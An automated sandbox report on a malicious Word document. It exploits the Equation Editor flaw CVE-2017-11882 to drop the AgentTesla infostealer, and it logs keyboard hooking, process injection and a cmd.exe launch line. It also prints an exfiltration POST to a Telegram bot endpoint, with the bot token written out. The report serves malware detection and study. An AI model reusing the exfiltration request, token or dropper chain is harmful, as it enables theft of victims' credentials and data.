Source: unknown	TCP traffic detected without corresponding DNS query: 109.206.241.81
Source: unknown	TCP traffic detected without corresponding DNS query: 109.206.241.81

Source: Client.exe, 00000009.00000002.928094974.00000000003DD000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000A.00000002.989116143.0000000005870000.00000004.00000800.00020000.00000000.sdmp, Client.exe, 0000000C.00000002.984052209.00000000008A8000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.1005830692.0000000006057000.00000004.00000800.00020000.00000000.sdmp, Client.exe, 00000014.00000002.1001151669.000000000054D000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000015.00000002.1196914685.0000000005EBE000.00000004.00000800.00020000.00000000.sdmp

String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)

Source: unknown

HTTP traffic detected: POST /bot5520247480:AAEoBq-eVV-KfON2FKSf_2riekCozVDdnus/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8da7964e1c1748cHost: api.telegram.orgContent-Length: 1028Expect: 100-continueConnection: Keep-Alive

Source: unknown	HTTPS traffic detected: 162.159.134.233:443 -> 192.168.2.22:49173 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.22:49175 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.133.233:443 -> 192.168.2.22:49177 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.135.233:443 -> 192.168.2.22:49179 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.22:49181 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.22:49182 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Installs a global keyboard hook

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Windows user hook set: 0 keyboard low level C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Windows user hook set: 0 keyboard low level C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Window created: window name: CLIPBRDWNDCLASS
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window created: window name: CLIPBRDWNDCLASS

System Summary

Document contains OLE streams which likely are hidden ActiveX objects

Source: ~WRF{B571C632-7DEC-4279-BDFC-1CEF56BCD21F}.tmp.0.dr	Stream path '_1721484245/\x1Ole10Native' : ....Client.exe.C:\fakepath\Client.exe.........C:\
Source: ~WRF{B571C632-7DEC-4279-BDFC-1CEF56BCD21F}.tmp.0.dr	Stream path '_1721484284/\x1Ole10Native' : .!....Client.exe.C:\fakepath\Client.exe.....-...C:

Malicious sample detected (through community Yara rule)

Source: ICPO07082299976.doc, type: SAMPLE	Matched rule: Attempts to exploit CVE-2018-0802 Author: Rich Warren
Source: dump.pcap, type: PCAP	Matched rule: Windows_Trojan_AgentTesla_d3ac2b2f Author: unknown
Source: 9.2.Client.exe.3169510.3.unpack, type: UNPACKEDPE	Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Source: 9.2.Client.exe.3169510.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_AgentTesla_d3ac2b2f Author: unknown
Source: 10.0.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Source: 10.0.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_AgentTesla_d3ac2b2f Author: unknown
Source: 9.2.Client.exe.3169510.3.raw.unpack, type: UNPACKEDPE	Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Source: 9.2.Client.exe.3169510.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_AgentTesla_d3ac2b2f Author: unknown
Source: 00000009.00000002.932287438.0000000003109000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_AgentTesla_d3ac2b2f Author: unknown
Source: 00000009.00000002.932391087.0000000003169000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_AgentTesla_d3ac2b2f Author: unknown
Source: 0000000A.00000000.926194509.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_AgentTesla_d3ac2b2f Author: unknown
Source: Process Memory Space: Client.exe PID: 2348, type: MEMORYSTR	Matched rule: Windows_Trojan_AgentTesla_d3ac2b2f Author: unknown
Source: Process Memory Space: RegSvcs.exe PID: 2656, type: MEMORYSTR	Matched rule: Windows_Trojan_AgentTesla_d3ac2b2f Author: unknown
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{B571C632-7DEC-4279-BDFC-1CEF56BCD21F}.tmp, type: DROPPED	Matched rule: EXP_potential_CVE_2017_11882 Author: ReversingLabs

Document contains OLE streams with names of living off the land binaries

Source: ~WRF{B571C632-7DEC-4279-BDFC-1CEF56BCD21F}.tmp.0.dr	Stream path '_1721484246/Equation Native' : ...............\.[..............3PD$RP.cmd.exe /c%tmp%\Client.exe &D$,f-Q%...........
Source: ~WRF{B571C632-7DEC-4279-BDFC-1CEF56BCD21F}.tmp.0.dr	Stream path '_1721484254/Equation Native' : ...............\.[.............ZZcmd.exe /c%tmp%\Client.exe A..C................................................................................................................

Office process drops PE file

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Temp\Client.exe

Jump to dropped file

Document contains OLE streams with PE executables

Source: ~WRF{B571C632-7DEC-4279-BDFC-1CEF56BCD21F}.tmp.0.dr	Stream path '_1721484245/\x1Ole10Native' : MZ signature found
Source: ~WRF{B571C632-7DEC-4279-BDFC-1CEF56BCD21F}.tmp.0.dr	Stream path '_1721484284/\x1Ole10Native' : MZ signature found

Found suspicious RTF objects

Source: Client.exe

Static RTF information: Object: 0 Offset: 000000EBh Client.exe

Source: C:\Users\user\AppData\Local\Temp\Client.exe	Code function: 9_2_002F2068	9_2_002F2068
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Code function: 9_2_002F28C9	9_2_002F28C9
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Code function: 9_2_002F2061	9_2_002F2061
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_005AB070	10_2_005AB070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_005A42A0	10_2_005A42A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_005A9CF8	10_2_005A9CF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_005ACC98	10_2_005ACC98
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_005AA5F0	10_2_005AA5F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_005A45E8	10_2_005A45E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_005A4EB8	10_2_005A4EB8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_005ACC39	10_2_005ACC39
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00A87DA8	10_2_00A87DA8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00A865D0	10_2_00A865D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00A89E86	10_2_00A89E86
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00A8CEF0	10_2_00A8CEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00A803D0	10_2_00A803D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00A8D231	10_2_00A8D231
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00A87258	10_2_00A87258
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00A80F80	10_2_00A80F80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00B05360	10_2_00B05360
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Code function: 12_2_00212068	12_2_00212068
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Code function: 12_2_002128C0	12_2_002128C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_0028B070	15_2_0028B070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_002842A0	15_2_002842A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_0028CBD8	15_2_0028CBD8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_00289CF8	15_2_00289CF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_0028D585	15_2_0028D585
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_002845E8	15_2_002845E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_0028A5F0	15_2_0028A5F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_00284EB8	15_2_00284EB8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_0028B20D	15_2_0028B20D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_00817DA8	15_2_00817DA8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_008165D0	15_2_008165D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_0081A131	15_2_0081A131
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_0081CE50	15_2_0081CE50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_008103D0	15_2_008103D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_00819D88	15_2_00819D88
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_00817258	15_2_00817258
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_00810F80	15_2_00810F80
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Code function: 20_2_00262068	20_2_00262068
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Code function: 20_2_002628C0	20_2_002628C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 21_2_003FB070	21_2_003FB070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 21_2_003F42A0	21_2_003F42A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 21_2_003FCBD8	21_2_003FCBD8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 21_2_003F9CF8	21_2_003F9CF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 21_2_003FD585	21_2_003FD585
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 21_2_003F45E8	21_2_003F45E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 21_2_003F4EB8	21_2_003F4EB8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 21_2_003F264C	21_2_003F264C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 21_2_00C265D0	21_2_00C265D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 21_2_00C27DA8	21_2_00C27DA8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 21_2_00C2CE50	21_2_00C2CE50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 21_2_00C29E6C	21_2_00C29E6C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 21_2_00C203D0	21_2_00C203D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 21_2_00C20EDB	21_2_00C20EDB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 21_2_00C27258	21_2_00C27258
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 21_2_00C20F45	21_2_00C20F45
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 21_2_02094DA8	21_2_02094DA8

Source: ~WRF{B571C632-7DEC-4279-BDFC-1CEF56BCD21F}.tmp.0.dr

OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Memory allocated: 77620000 page execute and read and write	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Memory allocated: 77740000 page execute and read and write	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Memory allocated: 77620000 page execute and read and write	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Memory allocated: 77740000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Memory allocated: 77620000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Memory allocated: 77740000 page execute and read and write	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Memory allocated: 77620000 page execute and read and write	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Memory allocated: 77740000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Memory allocated: 77620000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Memory allocated: 77740000 page execute and read and write	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Memory allocated: 77620000 page execute and read and write	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Memory allocated: 77740000 page execute and read and write	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Memory allocated: 77620000 page execute and read and write	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Memory allocated: 77740000 page execute and read and write	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Memory allocated: 77620000 page execute and read and write
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Memory allocated: 77740000 page execute and read and write
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Memory allocated: 77620000 page execute and read and write
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Memory allocated: 77740000 page execute and read and write
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Memory allocated: 77620000 page execute and read and write
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Memory allocated: 77740000 page execute and read and write

Source: ICPO07082299976.doc, type: SAMPLE	Matched rule: MAL_RTF_Embedded_OLE_PE date = 2018-01-22, author = Florian Roth, description = Detects a suspicious string often used in PE files in a hex encoded object stream, reference = https://www.nextron-systems.com/2018/01/22/creating-yara-rules-detect-embedded-exe-files-ole-objects/, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: ICPO07082299976.doc, type: SAMPLE	Matched rule: rtf_CVE_2018_0802 author = Rich Warren, description = Attempts to exploit CVE-2018-0802, reference = http://www.freebuf.com/vuls/159789.html
Source: ICPO07082299976.doc, type: SAMPLE	Matched rule: rtf_cve2017_11882 author = John Davison, description = Attempts to identify the exploit CVE 2017 11882, score = , sample = 51cf2a6c0c1a29abca9fd13cb22421da, reference = https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about
Source: ICPO07082299976.doc, type: SAMPLE	Matched rule: packager_cve2017_11882 author = Rich Warren, description = Attempts to exploit CVE-2017-11882 using Packager, score = , reference = https://github.com/rxwx/CVE-2017-11882/blob/master/packager_exec_CVE-2017-11882.py
Source: ICPO07082299976.doc, type: SAMPLE	Matched rule: CVE_2017_11882_RTF date = 2018-02-13, author = Florian Roth, description = Detects suspicious Microsoft Equation OLE contents as used in CVE-2017-11882, score = , reference = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: dump.pcap, type: PCAP	Matched rule: Windows_Trojan_AgentTesla_d3ac2b2f reference_sample = 65463161760af7ab85f5c475a0f7b1581234a1e714a2c5a555783bdd203f85f4, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.AgentTesla, fingerprint = cbbb56fe6cd7277ae9595a10e05e2ce535a4e6bf205810be0bbce3a883b6f8bc, id = d3ac2b2f-14fc-4851-8a57-41032e386aeb, last_modified = 2022-06-20
Source: 9.2.Client.exe.3169510.3.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Source: 9.2.Client.exe.3169510.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_AgentTesla_d3ac2b2f reference_sample = 65463161760af7ab85f5c475a0f7b1581234a1e714a2c5a555783bdd203f85f4, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.AgentTesla, fingerprint = cbbb56fe6cd7277ae9595a10e05e2ce535a4e6bf205810be0bbce3a883b6f8bc, id = d3ac2b2f-14fc-4851-8a57-41032e386aeb, last_modified = 2022-06-20
Source: 10.0.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Source: 10.0.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_AgentTesla_d3ac2b2f reference_sample = 65463161760af7ab85f5c475a0f7b1581234a1e714a2c5a555783bdd203f85f4, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.AgentTesla, fingerprint = cbbb56fe6cd7277ae9595a10e05e2ce535a4e6bf205810be0bbce3a883b6f8bc, id = d3ac2b2f-14fc-4851-8a57-41032e386aeb, last_modified = 2022-06-20
Source: 9.2.Client.exe.3169510.3.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Source: 9.2.Client.exe.3169510.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_AgentTesla_d3ac2b2f reference_sample = 65463161760af7ab85f5c475a0f7b1581234a1e714a2c5a555783bdd203f85f4, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.AgentTesla, fingerprint = cbbb56fe6cd7277ae9595a10e05e2ce535a4e6bf205810be0bbce3a883b6f8bc, id = d3ac2b2f-14fc-4851-8a57-41032e386aeb, last_modified = 2022-06-20
Source: 00000009.00000002.932287438.0000000003109000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_AgentTesla_d3ac2b2f reference_sample = 65463161760af7ab85f5c475a0f7b1581234a1e714a2c5a555783bdd203f85f4, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.AgentTesla, fingerprint = cbbb56fe6cd7277ae9595a10e05e2ce535a4e6bf205810be0bbce3a883b6f8bc, id = d3ac2b2f-14fc-4851-8a57-41032e386aeb, last_modified = 2022-06-20
Source: 00000009.00000002.932391087.0000000003169000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_AgentTesla_d3ac2b2f reference_sample = 65463161760af7ab85f5c475a0f7b1581234a1e714a2c5a555783bdd203f85f4, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.AgentTesla, fingerprint = cbbb56fe6cd7277ae9595a10e05e2ce535a4e6bf205810be0bbce3a883b6f8bc, id = d3ac2b2f-14fc-4851-8a57-41032e386aeb, last_modified = 2022-06-20
Source: 0000000A.00000000.926194509.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_AgentTesla_d3ac2b2f reference_sample = 65463161760af7ab85f5c475a0f7b1581234a1e714a2c5a555783bdd203f85f4, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.AgentTesla, fingerprint = cbbb56fe6cd7277ae9595a10e05e2ce535a4e6bf205810be0bbce3a883b6f8bc, id = d3ac2b2f-14fc-4851-8a57-41032e386aeb, last_modified = 2022-06-20
Source: Process Memory Space: Client.exe PID: 2348, type: MEMORYSTR	Matched rule: Windows_Trojan_AgentTesla_d3ac2b2f reference_sample = 65463161760af7ab85f5c475a0f7b1581234a1e714a2c5a555783bdd203f85f4, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.AgentTesla, fingerprint = cbbb56fe6cd7277ae9595a10e05e2ce535a4e6bf205810be0bbce3a883b6f8bc, id = d3ac2b2f-14fc-4851-8a57-41032e386aeb, last_modified = 2022-06-20
Source: Process Memory Space: RegSvcs.exe PID: 2656, type: MEMORYSTR	Matched rule: Windows_Trojan_AgentTesla_d3ac2b2f reference_sample = 65463161760af7ab85f5c475a0f7b1581234a1e714a2c5a555783bdd203f85f4, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.AgentTesla, fingerprint = cbbb56fe6cd7277ae9595a10e05e2ce535a4e6bf205810be0bbce3a883b6f8bc, id = d3ac2b2f-14fc-4851-8a57-41032e386aeb, last_modified = 2022-06-20
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{B571C632-7DEC-4279-BDFC-1CEF56BCD21F}.tmp, type: DROPPED	Matched rule: EXP_potential_CVE_2017_11882 author = ReversingLabs, reference = https://www.reversinglabs.com/newsroom/news/reversinglabs-yara-rule-detects-cobalt-strike-payload-exploiting-cve-2017-11882.html

Source: ICPO07082299976.LNK.0.dr

LNK file: ..\..\..\..\..\Desktop\ICPO07082299976.doc

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\Desktop\~$PO07082299976.doc

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winDOC@21/15@9/5

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: ~WRF{B571C632-7DEC-4279-BDFC-1CEF56BCD21F}.tmp.0.dr	OLE document summary: title field not present or empty
Source: ~WRF{B571C632-7DEC-4279-BDFC-1CEF56BCD21F}.tmp.0.dr	OLE document summary: author field not present or empty
Source: ~WRF{B571C632-7DEC-4279-BDFC-1CEF56BCD21F}.tmp.0.dr	OLE document summary: edited time not present or 0

Source: ICPO07082299976.doc

ReversingLabs: Detection: 73%

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
Source: unknown	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: unknown	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c%tmp%\Client.exe A C
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\Client.exe C:\Users\user\AppData\Local\Temp\Client.exe A C
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process created: C:\Users\user\AppData\Local\Temp\Client.exe "C:\Users\user\AppData\Local\Temp\Client.exe"
Source: unknown	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Source: unknown	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c%tmp%\Client.exe A C
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\Client.exe C:\Users\user\AppData\Local\Temp\Client.exe A C
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process created: C:\Users\user\AppData\Local\Temp\Client.exe "C:\Users\user\AppData\Local\Temp\Client.exe"	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c%tmp%\Client.exe A C	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\Client.exe C:\Users\user\AppData\Local\Temp\Client.exe A C	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c%tmp%\Client.exe A C
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\Client.exe C:\Users\user\AppData\Local\Temp\Client.exe A C
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{172BDDF8-CEEA-11D1-8B05-00600806D9B6}\InProcServer32

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
